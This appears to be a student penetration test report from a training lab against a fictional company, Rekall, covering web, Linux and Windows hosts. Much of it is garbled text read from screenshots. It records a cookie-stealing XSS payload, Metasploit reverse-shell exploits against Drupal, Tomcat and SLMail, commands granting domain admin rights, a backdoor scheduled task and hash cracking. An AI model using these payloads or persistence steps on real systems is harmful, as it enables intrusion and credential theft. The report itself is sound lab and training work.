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Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known
as Rekall). The information contained in this document is confidential and may constitute inside or
non-public information under international, federal, or state laws. Unauthorized forwarding, printing,
copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are
not the intended recipient, be aware that any disclosure, copying, or distribution of this document or
its parts is prohibited.
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Contact Information

‘ Company Name ETrinhSecurity
‘ Contact Name EricT@etrinhsecurity.ca
‘ Contact Title Penetration Tester

Document History

06/06/2022 Eric Trinh
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Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests
of its networks and systems throughout the year. The purpose of this engagement was to assess the
networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted
testing methodology and best practices.

For the testing, we focused on the following:

e Attempting to determine what system-level vulnerabilities could be discovered and exploited
with no prior knowledge of the environment or notification to administrators.

e Attempting to exploit vulnerabilities found and access confidential information that may be
stored on systems.

e Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and
their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual
exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s
web applications, networks, and systems. This assessment was conducted to identify exploitable
vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to
provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications,
networks, and systems in scope.

Rekall has outlined the following objectives:

Objective

Find and exfiltrate any sensitive information within the domain.

Escalate privileges.

Compromise several machines.
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Penetration Testing Methodology
Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the
assessors with their tasks. If internal, the assessment team will perform active recon using tools
such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective
of the network security from a hacker’s point of view. These methods provide Rekall with an
understanding of the risks that threaten its information, and also the strengths and weaknesses of
the current controls protecting those systems. The results were achieved by mapping the network
architecture, identifying hosts and services, enumerating network and system-level vulnerabilities,
attempting to discover unexpected hosts within the environment, and eliminating false positives that
might have arisen from scanning.

Vulnerability Exploitation
Our normal process is to both manually test each identified vulnerability and use automated tools to

exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us
unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done
everything possible within the allotted time, the assessment team writes the report, which is the final
deliverable to the customer.
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Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems
with a defined range or list of network IP addresses. The assessment team will work directly with the
Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled

by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization).
In-scope and excluded IP addresses and ranges are listed below.
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Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may
pose to the business processes implemented by the application, based on the following criteria:

Critical: Immediate threat to key business processes.

High: Indirect threat to key business processes/threat to secondary business processes.
Medium: Indirect or partial threat to business processes.

Low: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the
business and the likelihood of exploitation:

Critical

High

Exploitation Likelihood

Medium

Low

Informational

Informational Low Medium High Critical
Potential Impact
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Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also
recognized several strengths within Rekall’'s environment. These positives highlight the effective
countermeasures and defenses that successfully prevented, detected, or denied an attack technique
or tactic from occurring.

e Multiple OS, means multiple levels of penetration techniques must be applied.
e Well named infrastructure.

Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order
to prevent an adversary from compromising the network. These findings are not specific to a
software version but are more general and systemic vulnerabilities.

Apache Tomcat RCE Vulnerability (CVE-2017-12617)
Apache Strusts / Jakarta Multipart Parser RCE (CVE-2017-5638)
Brute Force Attacks

Cracked credentials

Cracked hash

Cross Site Scripting Reflected

Cross Site Scripting Vulnerabilities

Command Injection

Directory Traversal

Drupal Vulnerability (CVE-2019-6340)

Linux Security Bypass (CVE-2019-14287)

Local File Inclusion

Network Vulnerabilities

Privilege Escalation

PHP Injection Attacks

Sensitive Data Exposure

Searching GitHub

Scheduled task

SQL Injection

Weak protocol
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Executive Summary

Website Penetration Test (Day 1):

e The welcome page where you enter your name is exploitable to XSS by using:
<script>alert(document.cookie)</script>:

REKALL CORPORATION

On the next page you will be designing your perfect, unique
virtual reality experience!

Begin by entering your name below!

Put your name here

Welcome'!

Click the link below to start the next step
in your choosing your VR experience!

CONGRATS, FLAG 1 is
f76sdfkg6sijf

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.



Rekall Corp Penetration Test Report

e The comment page is vulnerable to XSS stored by using a similar command to above’s
point:

REKALL CORPORATION

Please leave your
comments on our website!

CONGRATS, FLAG 3 is sd7fkTnctx

I

Submit Add:®  Showal: @ Delete: @

# Owner Date Entry
2022-07-20

23:43:02

1 bee
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e The VR Planner page, where you can upload an image, is susceptible to local file
inclusion. Instead of uploading an image, we uploaded a script.

REKALL CORPORATION

VR Planner

Race in the Grand Prix

Please upload an image:
No file selected.

Upload Your File!

Your image has been uploaded here.Congrats, flag SRS Sy

On Rekall’'s website, we found that there is a hidden page used for DNS Check, which can be
heavily exploited to navigate the website directory.

e Found a vulnerability that lets us read files using the DNS Check:

REKALL
CORPORATION

ocated in the fil

heck
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e Within the same DNS Check area, found a Login.php.old2 file:

REKALL CORPORATION

User Login r

Login:
Password:

Login
Welcome " . ucwords($row["login"l) . "..."; $message = "Congrats, the flag is [sJJ&EPEEIPEE "; // $message = srow["login"]; } else { $message = "Invalid credentials!"; } } mysql_close($link); } echo $message; 2>

e On the same image as above, if you scroll down, there is an admin credential. Then
when going into the sign in page, you can use the admin credential.

e While listing documents in the directory using DNS Checker’s page, there is a text file
called Robots.txt that has some information:

192.168.14.35/robots.txt ¥ About Rekall

< C @

Exploit-DB @ Nessus

User-agent: GoodBot
Disallow:

User-agent: BadBot
Disallow: /

User-agent: *
Disallow: /fadmin/
Qiialluw: Jdocuments/
Disallow: /images/

Disallow: /souvenirs.php/
Disallow: flag9d:[LIIEET s
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Linux Penetration Test (Day 2):

totalrekall.xyz

Phase 1. Planning and Reconnaissance:

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.

Gathered a who.is report for totalrekall.xyz
c @

it-DB @) Nessus

Penetration Test Report

Premium Domains

Status clientDeleteProhibited https://icann.org/epp#clientDe
clientRenewProhibited https:/icann.org/epp#clientRe
clientTransferProhibited https://icann.org/eppé#client]
clientUpdateProhibited https://icann.org/epp#clientl)

Important Dates

Expires On 2023-02-02
Registered On 2022-02-02
Updated On 2022-02-02

Name Servers

NS51.DOMAINCONTROL.COM
NS52.DOMAINCONTROL.COM

Similar Domains

97.74.105

173.201.7:

total-%.c3%a5rsoppgj%c3¥:b8r.com | total--bodycare.com | total--books.info | total--cars.info |t
total--fitness.com | total--freedom.com | total--life.co.jp | total--nutrition.info | total--security.info |
total--support.com | total--tech.com | total--techspecs.com | total--texas.info | total--video-conve

total--world.info | total-.com | total-1.co.jp |

Registrar Data

Registrant Contact Information:
Name
Organization
Address
City
State / Province
Postal Code
Country
Phone
Email

Administrative Contact Information:

Name
Organization
Address

S

We will display stored
o refresh

sshUser alice

UEEGEELGELER) Flagl

Atlanta
Georgia

30309

us
+1.7702229999

JlowE2u,con

sshUser alice

h8s692hskasd Flagl

AETmmbn
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e Ran an nmap -sV totalrekall.xyz to gather information such as IP address and open

ports:

- ~fDncuments!day 2

Starting Nmap
map scan report for totalreka
Host is up (0.011s latency)

cord for 34.102.136.180: 180.13
[<]

Not shown: 944 closed tcp ports [195
STATE SERVICE VERSION
open tcpwrapped
open C apped
open tcpwrapped
open openresty
open '
open __pm14ﬂpﬂd
open tcpwrapped
open tcpwrapped

118/tcp open tcpwrapped

llgftLp open tcpwrapped

L open tcpwrapped
open tcpwrapped
open tcpwrapped
open tcpwrapped

e Performed a certificate search on totalrekall.xyz:

Certificates crt.shID Logged At it Not Before NotAfter Common Name

-@7-23 18:29 EDT

googleusercontent. com

Matching Identities Issuer Name

6095738637 2022-02-02 2022-02-02 2022-05-03 flag3-s7euwehd.totalrekall.xyz flag3-s7euwehd.totalrekall.xyz C=AT, O=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA
6095738716 2022-02-02 2022-02-02 2022-05-03 flag3-s7euwehd.totalrekall.xyz flag3-s7euwehd.totalrekall.xyz C=AT, O=ZeroSSL, CN=ZeroSSL RSA Domain Secure Site CA

6095204253 2022-02-02 2022-02-02 2022-05-03 totalrekall.xyz

6095204153 2022-02-02 2022-02-02 2022-05-03 totalrekall.xyz

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Phase 2. Scanning:

e Performed a Zenmap scan on 192.168.13.0/24 to determine how many hosts are up

)

Scan Tools Profile Help
Target: 192.168.13.0/24
Command:  nmap -T4 -A -v --script ftp-vsftpd-backdoor 192.168.13.0/24

Hosts  Services Nmap Output  Ports /Hosts Topology Host Details

0s Host nmap -T4 -A -v --script ftp-vsftpd-backdoor 192.168.13.

Starting Nmap 7.92 ( ) at
THFA Loaded 46 scripts for scanning.

Script Pre-scanning.
Initiating NSE at 10:42
Completed NSE at 10:42, 0.80s elapsed
Initiating NSE at 10:42
Completed NSE at 10:42, 0.00s elapsed
Initiating ARP Ping Scan at 10:42
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 10:42, 1.94s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 5 hosts. at 18:42
Completed Parallel DNS resolution of 5 hohts. at 10:42, 108.52s elapsed
Nmap scan report for jEFESIPeEM: [host down]

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 16
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e Found a vulnerability on 192.168.13.13 that uses Apache/2.4.25 (Drupal 8)

NIETE LI T T i gl 192 . 168 .13.13

Host is up (©.00080816s latency).
999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-server-header: Apache/2.4.25 (Debian)
02:42:C0:A8:0D:0D (Unknown)
general purpose

‘H Linux 4.X|5.X

cpe:/o:linux:linux kernel:4 cpe:/o:linux:linux kernel:5

Linux 4.15 - 5.6
9.817 days (since Wed Jul 13 15:12:56 2022)
1 hop
Difficulty=261 (Good luck!)
ALl zeros
e

TRACEROUTE
HOP RTT ADDRESS

1 e 192 .168.13.13

Command: nmap-T4-A192.168.13.13

Hosts  Services Nmap Output Ports /Hosts Topology Host Details Scans
nmap -T4 -A192.168.13.13 M

0s Host b
‘ | PR LI I Bl S L L el f DL DI, IS PRl s R
4y 192.168.13.1 register/
| fuser/password/ fuser/login/ fuser/logout/ /iQDhISH
6§ 192.168.13.1C S
6 192168131 | _/MIRISSEANs/ comment/reply/
_ | http-title: Home | Drupal CVE-2019-6340
% 192.168.13.12 IS RN ENE G T EL S h t tps : / /www.drupal.org)
.  192.168.13.13 | http-server-header: Apache/2.4.25 (Debian)
' ©2:42:CO:A8:0D:0D (Unknown)
& 1921681314 [EVM<SIRSTIH general purpose

e Found another vulnerability that uses Apache Strusts 2.3.5:

scani / Plugin #97610

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.




Rekall Corp

Phase 3. Exploitation:

Penetration Test Report

e As this current version of Apache is vulnerable to the Tomcat exploit, that is how we will

.18 - Command

shell session

Module options (exploit/multi/http/te

Name Current Setting

TARGETURI
VHOST

Payload options (gener
Name

LHOST
LPORT

Exploit target:

Name

Automatic

root

root

root

root

root

root
xt

-I'W-T—
-I'W-T—
dr

-TW-T—

i el B

Required

root
root
root
root
root
root

be exploiting the system using MSFConsole into Meterpreter:

3 closed n: User exit

> opti

jsp_upload_byp

4096
4096
570
10
4096
140

14:@85
2010
19:17

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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e We will then view who has active sudoer permissions on the system:

LinuxScavengerHunt X A Problem loadingpage X totalrekall.xyz/ totalrekall

S C @ nachococo.com:
Exploit-DB @ N

Linux Scavenger Hunt  User
root@kali: ~

File Actions Edit View Help

index.html
cd to index.

: can't cd to index.html

s root.

instead of

env_reset
mail_badpass
ure_path="/usr/local/sbin:/usr/local/bin: /usr/sbin: /usr/bin:/sbin: /bin: /s
# Host alias specification
# User alias specification
# Cnnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL

# Members of the admin group may gain root pr
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo  ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

e We were also able to use a command to read the passwd file (cat passwd) and found a
user called Alice:

Linux Scavenger Hunt X > totalrekall.xyz/ totalrekall
S c @ nachococo.com

Exploit-DB @ Nessus

Linux Scavenger Hunt U
root@ali ~

File Actions Edit View Help

shadow-
shells

sudoers.d
sctl.conf

l.d
systemd
terminfo
timez
ubuntu-advantage
ucf . conf
udi
ufw
update-motd.d
upstar:

usr/sbin:/usr/sbin/nologin
usr/sbin/nologin
:/usr/sbin/nologin

m
he/man: /usr/sbin/nologin
usr/sbin/nologin
usr/sbin/nologin
r/spool/new: /sbin/nologin
001/uucp: /ust/sbin/nologin
usr/sbin/nologin
usr/sbin/nologin
blogin
usr/sbin/nologin
/sbin/nologin
r/lib/gnats: /usr/sbin/nologin
/sbin/nologin
var/1ib/libuuid
:: /home/syslog: /bin/false
x:1000:1000 :: /home/flag9-wudks8f7s|
001 :: /home/alic

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Phase 4. Post Exploitation:

e Within Meterpreter, we found a .zip file located in /root and read the file using a
command (cat flagisinThisfile.7z). Another of of doing this was to install the 7z file:

root@kali: ~

File Actions Edit View Help

modified

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 20
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meterpreter > ls
Listing: /root

Mode Type Last modified Name
040755/ rwxr-xr-x 4096 dir

2 -92-88 09:17:45 -0500 .m2
100644/ TW-r T — 194 fil p

022

022-02-08 09:17:32 -0500 flagisinThisfile.7z

meterpreter > download flagisinThisfile.7z
Downloading: flagisinThisfile.7z —» /root/Desktop/flagisinThisfile.7z
Downloaded 194.00 B of 194.00 B (100.0%): flagisinThisfile.7z — /root/Desktop/flagisinThisfile.7z
download : flagisinThisfile.7z — /root/Desktop/flagisinThisfile.7z

meterpreter > |j

Terminal

File Edit View Search Terminal Help
flag 10 is wjasdufsdkfj]

e As we know that there is Drupal running on Apache, we are able to use MSF exploit to
exploit Drupal (host ending with 13) and found the username:

msfeé > use @

Using configured payload php/meterpreter/reverse_tcp
msf6 exploit( ) » set rhosts 192.168.13.13
rhosts = 192.168.13.13
msf6 exploit( )} » set lhost 192.168.13.1
lhost = 192.168.13.1
msf6 exploit( ) > run

Started reverse TCP handler on 192.168.13.1:4444

Running automatic check ("set AutoCheck false" to disable)

Sending POST to /node with link http://192.168.13.13/rest/type/shortcut/default

Unexpected reply: #<Rex::Proto::Http::Response:0=00007f53508064ea8 fheaders={"Date”"="Sat, 2
.25 (Debian)", "X-Powered-By"="PHP/7.2.15", "Cache-Control"="must-revalidate, no-cache, priva
guage"="en", "X-Content-Type-Options"="nosniff", "X-Frame-Options"="SAMEORIGIN", "Expires"=
X-Generator"="Drupal 8 (https://www.drupal.org)”, "Transfer-Encoding”"="chunked", "Content-Typs
tate=3, @transfer_chunked=true, @inside_chunk=0, @bufg="", @body="{\"message\":\"The shortcut s{
user and the user must have \\u@@27access shortcuts\\u@@27 AND \\u@@27customize shortcut links\
, amessage="Forbidden", @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @count_100=0, @max
ST /node?_format=hal_json HTTP/1.1\r\nHost: 192.168.13.13\r\nUser-Agent: Mozilla/5.@ (Macintosh
TML, like Gecko) Chrome/95.8.4638.69 Safari/537.3e6\r\nContent-Type: application/hal+json\r\nCon
\n \Nvalue\™: \"link\",\n Noptionsh": ZNT0:248:\\\"GuzzleHttpA\MN\APSTIAAANFRStreami i\ " :
ami\u@d@@methods \\\";a:1:{s:5:\\\"close’\\\";a:2:{1:0;0:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:
@00handler\\\";s:16:\\\"echo nAOTULZTB7BR\N\";s:30:\\\"\\u@eeeGuzzleHttp\\\\HandlerStack\\u@aoes
Fs:31: MW" \\u@eeeGuzzleHt tph\\\\HandlerStack\\u@@@@cached\\\";b:®; }i:1;s:7:\\\"resolve’\\\";}}s:9
olved\\"; H\"\n B 1,An N"_links\": {\n \type\": {\n \"hrefi": \"http://192.168.
n}", @peerinfo={"addr"="192.168.13.13", "port"=80}>
[+] The target is vulnerable.

Sending POST to /node with link http://192.168.13.13/rest/type/shortcut/default

Sending stage (39282 bytes) to 192.168.13.13

Meterpreter session 7 opened (192.168.13.1:4444 — 192.168.13.13:59658 ) at 2022-07-23 13:3

meterpreter > whoami
Unknown command: whoami
meterpreter > uid
Unknown command: uid
meterpreter > getuid
Server username: www-data
meterpreter >

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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e Finally, with Alice’s credentials from earlier, we are able to ssh as Alice into
192.168.13.14:
$ sudo -u \#
d7sdfksdf

5 1l

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 22
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Window’sPenetration Test (Day 3):

e Searching GitHub, we were able to find a backup of TotalRekall’s website

(https://qgithub.com/totalrekall/site/blob/main/xampp.users) along with
what appears to be a hash for Tanya Rivera:

Warning: d 2 : 5crypt™, but th ring is a recognized as "mdScrypt-long”
Use the "—form: nd5Scrypt ng tion to force loading ese ; at type instead
Using default i 1
Loaded 1 password ha (md5cry rypt( $1% (and variants) [M 512/512 AVX512BW 16x=3])
Will run 2 OpenMP th

eceding with singl
C to abo

[

25 19:19) 6.6
all of th

e Running a Zenmap scan, we were able to find a Windows 10 machine on 172.22.117.20

latency).
tcp ports
SERVICE
ftp
smtp
finger
http

pop3pw
pop3
msrpc
netbios-ssn
ssL/http
.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.2

(Microsoft)
eneral p
Running : i ft windows
Mq::e: icr ft:windows 10
Microsoft Windows 10 1709 - 1909
1 hop
Difficulty=261 (Good luck!)
Incremental

BTG, localhost, NEVICSEITIENEI: 0S: Windows; CPE: cpe:/o:microsoft:windows

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 23
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Index of /

Name Last modified Size Description

flag2.txt 2022-02-15 13:53 34

Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.2

-* Windows Scavenger H

<« C @

Exploit-DB @ Nessus

4d7b349705784a518bcB76bc2edbd4fE

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 24
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e In the previous screenshot, FileZilla is open and on port 21. By default, FileZilla has th
username and password of anonymous:anonymous. Using this knowledge, we were
able to use FileZilla, connect to 172.22.117.20:21 and download some files from the
remote host:

Bams X k g # o ) Profile

172.22.117.20 anonymous sescssee

Loggedin

Starting download of /flag3.txt

File transfer successful, transferred 32 bytes in 1second
Connection closed by server

Disconnected from server

/ / /
froot/Desktop) = root@kali: ~/Desktop

File Actions Edit View Help

et

.recon-ng

.rpmdb NMAP Scan * root@kali: ~/Desktop *

220 Please visit http://sourceforge.net/projects/filezilla/
Mame (172.22.117.20:root): trivera

Zenmap 331 Password required for trivera

B8 Desktol Passwur[_i: i
P 530 Login or password incorrect!
» [ Documents Login failed.
Remote system type is UNIX.

» [ Downloads ftp> exi¥ i
421 Login time exceeded. Closing control connection.

.ssh

Filename ~ Filesize Filetype Last modified
|_J1= ® =
5 ing 172.22.117.20
B flag3.txt 32 ixt-file 07/25/2022 08... PING 172.22.117.20 (172.22.117.20) 56(84) bytes of data.
- v bytes from 172.22.117.20: icmp_seqg=1 ttl=128 929 ms

W script.php 0 il R e bytes from 172.22.117.20: icmp_seq=2 ttl=128 ti .907 ms

B testjpg 5 jpg-file 07/20{2022 07... bytes from 172.22.117.20: icmp_seq=3 ttl=128 ti .05 ms
bytes from 172.22.117.2@: icmp_seq=4 ttl=128 ti .877 ms
bytes from 172.22.117.2@: icmp_seq=5 ttl=128 time=0.89@ ms

— 172.22.117.20 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 40@5ms
rtt min/avg/max/mdev = ©.877/0.929/1.045/0.060 ms

Downloads
® ~/Dounloads

total 14700

druxr-xr-x 3 root root 4096 Jul 25 19:34
drwx 26 root root 4096 Jul 25 20:05
drwxr-xr-x 5 1002 1002 4096 Jul 22 08:06
Sy g e root root 15038480 Jul 25 19:34

Server/Local file Directiol Remote file Size Priorit

] ~/Downloads

89cbh548970d441348bb63622353ae278

] ~/Desktop

e Similarly, on the same machine above, it is running SLMail services and can be exploited
using MSFConsole:

Module options (exploit/windows/pop3/seattlelab_pass):

Name Current Setting Required Description

RHOSTS 172.22.117.20 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 79 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technigque (Accepted: '', seh, thread, process, none)
LHOST 172.22.117.100 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

Windows NT/2000/XP/2003 (SLMail 5.5)

) > set rport 11@
msf6 exploit( ) > run
Started reverse TCP handler on 172.22.117.100: 4444
172.22.117.20:11@0 - Trying Windows NT/2800/XP/2003 (SLMail 5.5) using jmp esp at 5f4a358f
Sending stage (175174 bytes) to 172.22.117.20
Meterpreter session 1 opened (172.22.117.100@:4444 — 172.22.117.20:64898 ) at 2022-07-25 20:21:03 -0400

meterpreter > cat flagh.txt
822e3434a104403d9cc@86197819b49dmeterpreter >
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e Now that we have gained access to Windows 10 (through Meterpreter) we can now
schedule an automated task so we do not lose access to the machine.

£ Win10 on ML-REFVM-157105 - Virtual Machine Connection

File Action Media View Help

O®@O|nn|f o Fd

Share View

i » ThisPC » Local Disk (C) » Windows » System32 » Tasks Search Tasks

Name Date modified Type
# Quick access

[ Desktop
4 Downloads

Docurments

Microsoft /15/2022 5:5 File folder
[ Backdoor 7/25/2022 5 File
[ ] flags ; File
| ] MicrosoftEdgeUpdateTaskMachineCore / File

&= Pictures [ MicrosoftEdgeUpdateTaskMachineUA 115/ : File
B Music [] OneDrive Reporting Task-5-1-5-21-20130.. 2/ 118 A File
B videos [] OneDrive Standalone Update Task-5-1-5 4 118 A File

[] OneDrive Stendalone Update Task-5- 7/25/2022 5:54 PM File

4d OneDrive

[ This PC

7 flag5 - Motepad
i Network File Edit Format View Help
<?xml version="1.0" encoding="UTF-16"?>
<Task versior 1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo»
<Date>2022-82-15T14:00:08.594846</Date>
<Author>WIN1@\sysadming/Author>
<Des(ription>54Faﬁ(dS(13543d(9214969d715573FS)-(/DES(r‘iptiDn>
<URI>\flag5</URI>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Repetition»
<Interval>PT5M</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>

Bitems  1item selected 4.38 Kl

£ Type here to search

Status: Running |

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 26



Rekall Corp Penetration Test Report

e We were also able to find a hash for a user called flagé and were able to decrypt the
hash and sign into the Windows 10 machine:

S mmP o]

File Actions Edit View Help

"LM", but th
option to fo
e "L
it=mscash2” option to force lo
detected hash type "LM", but the string is
1t=NT" option to force loading these
"LMT, string is :
option to for loading t
LM string is a

"LM", but the strin
t" option to f
but the strin
option to i
", but the string is
option to ¢ §
, but the string is al
ZipMonster” option to force loading
ult inmput encodin

flagn.txt

[PEKDF2-5HAL
" status
inday..cl

encoding:
sh (NT [»
bort,
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After signing into the Windows 10 machine as Flag6, we navigated to
C:\Users\Public\Documents to see if there is anything there that can be useful:
Listing:

‘\Users\Public\Documents

Last modified

Name

My Music

My Pictures
My Videos
desktop.ini
flag7?

Following from flag6, | was able to launch a system shell as system32 and run a
command to give myself administrative rights and domain admin rights (net user
“‘Domain Admins” flagé /ADD /DOMAIN and net user “Administrators” flagé /ADD

/DOMAIN):

? WINDCO1 on ML-REFVM-197105 - Virtual Machine Connection

File  Action Media View Help

D@O nmwnfy o B

Server Manager * DNS

O Active i Genersl | Adcress | Account

7 Saved
v 4 rekall. ;

e flag8-ad12fc2ffcled7 Properties ? X
5§ Dashboal
File  Actior|
§ Local Ser Member O Diakin Environment Sessions
L N Remate cortrol Remote Desktop Services Profile COM+

Telephones  Organization

flag-ad 1 Hc2cled7
] Y a for ad..
= % By

BE Fileand c group €.
5 Dy Firstname [Pt | nials: | | poroue-
- | s group t.

| Fo . 7
Sl Lesrame [2d12catcTed7 | group c...
U Display name: [Pagzad12icaficTed ] | | rorsGro-
are per..
Description [ | inistrato...
e ‘ ] and ser...

rollers i...

ists

inistrato...

E-mail

s group ...

group c...

for gue...

- (@I I' Manage  Tools

TASKS ¥

v

ption

0000-AA083 (Activated)

s B

Apply Help
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® Navigating around Active Directory, there is an Admin user called ADMBob

File Actions Edit View Help
NMAP Scan * MSFconsole = root@kali: ~/Desktop

GNU nano

JOMBob : ¥ ; 69 5] 501d5d461315b

e With the hash of ADMBob, we were able to decrypt it and gain access to the server as
an administrator:

@ ~/Desktop
Joh flagi@
Using default input encodi
Loaded 1 password hash (mscash2, MS Cache Hash 2
Will run
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Summary Vulnerability Overview

| Vulnerability

Apache Tomcat RCE Vulnerability (CVE-2017-12617) CRITICAL
Apache Strusts / Jakarta Multipart Parser RCE (CVE-2017-5638) CRITICAL
Drupal Vulnerability (CVE-2019-6340) CRITICAL
Linux Security Bypass (CVE-2019-14287) CRITICAL

Cracked hash

Weak Passwords
Directory Traversal
Cracked credentials
Sensitive Data Exposure
Scheduled task
Privilege Escalation
PHP Injection Attacks

Network Vulnerabilities

Brute Force Attacks Low
Cross Site Scripting Reflected Low
Local File Inclusion Low
Searching GitHub Low
Command Injection Low
SQL Injection Low
Cross Site Scripting Vulnerabilities Low

The following summary tables represent an overview of the assessment findings for this penetration

test:

192.168.14.35

Hosts 192.168.13.10-14
172.22.117.20
Ports 21,22,25,79,8080

| Exploitation Risk

Critical 4
0

Medium 9
Low 7
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Vulnerability Findings

Vulnerability 1 Findings
Title Apache Tomcat RCE Vulnerability (CVE-2017-12617)
Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating Critical

Description https://nvd.nist.gov/vuln/detail/CVE-2017-12617

Images

Affected Hosts | 192.168.13.10

Remediation Update to latest version.

Vulnerability 2 Findings
Title Apache Strusts / Jakarta Multipart Parser RCE (CVE-2017-5638)
Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating Critical

Description https://nvd.nist.gov/vuln/detail/ CVE-2017-5638

Images

Affected Hosts | 192.168.13.13

Remediation Update to latest version.

Vulnerability 3 Findings
Title Drupal Vulnerability (CVE-2019-6340)
Type (Web app / | Linux OS
Linux OS /
Windows OS)

Risk Rating Critical
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Description

https://nvd.nist.gov/vuln/detail/CVE-2019-6340

Images

Affected Hosts

192.168.13.13

Remediation

Update to latest version.

Vulnerability 4 Findings

Title Linux Security Bypass (CVE-2019-14287)
Type (Web app / | Linux OS
Linux OS /
Windows OS)
Risk Rating Critical
Description https://nvd.nist.gov/vuln/detail/ CVE-2019-14287
Images

Affected Hosts

192.168.13.14 (In general)

Remediation

Update to latest version. (versions after 1.8.28)

Vulnerability 5 Findings

Title Weak Passwords
Type (Web app / | Windows
Linux OS /
Windows OS)
Risk Rating Medium
Description User accounts as well as admin accounts have very easy passwords.
Images

Affected Hosts

192.168.13.10-15

Remediation

Update passwords stronger passwords.
Enforce minimum password length with special character requirements.

Vulnerability 6

Title

Findings

Scheduled Tasks
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Type (Web app / | Windows OS
Linux OS /
Windows OS)
Risk Rating Medium
Description Generic users can make scheduled tasks.
Images

Affected Hosts

All Windows machines.

Remediation

Lockout regular users from being able to schedule tasks.

Vulnerability 7 Findings

Title Searching GitHub
Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating Low
Description A backup of the webpage is available in a public repo on GitHub.
Images

Affected Hosts

192.168.14.35

Remediation

Private the repository.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 33



	Rekall Corporation 
	Penetration Test Report 
	 
	Confidentiality Statement 

	 
	Contact Information 
	 
	Document History 

	 
	Introduction 
	Assessment Objective 


	 
	Penetration Testing Methodology 
	Reconnaissance 
	  
	Identification of Vulnerabilities and Services 
	Vulnerability Exploitation 
	Reporting 


	 
	Scope 

	 
	 
	Executive Summary of Findings 
	 
	Grading Methodology 
	 
	Summary of Strengths 
	Summary of Weaknesses 


	 
	Executive Summary 
	Website Penetration Test (Day 1): 
	Linux Penetration Test (Day 2): 
	Window’sPenetration Test (Day 3): 

	 
	 
	 
	Summary Vulnerability Overview 
	Vulnerability Findings 


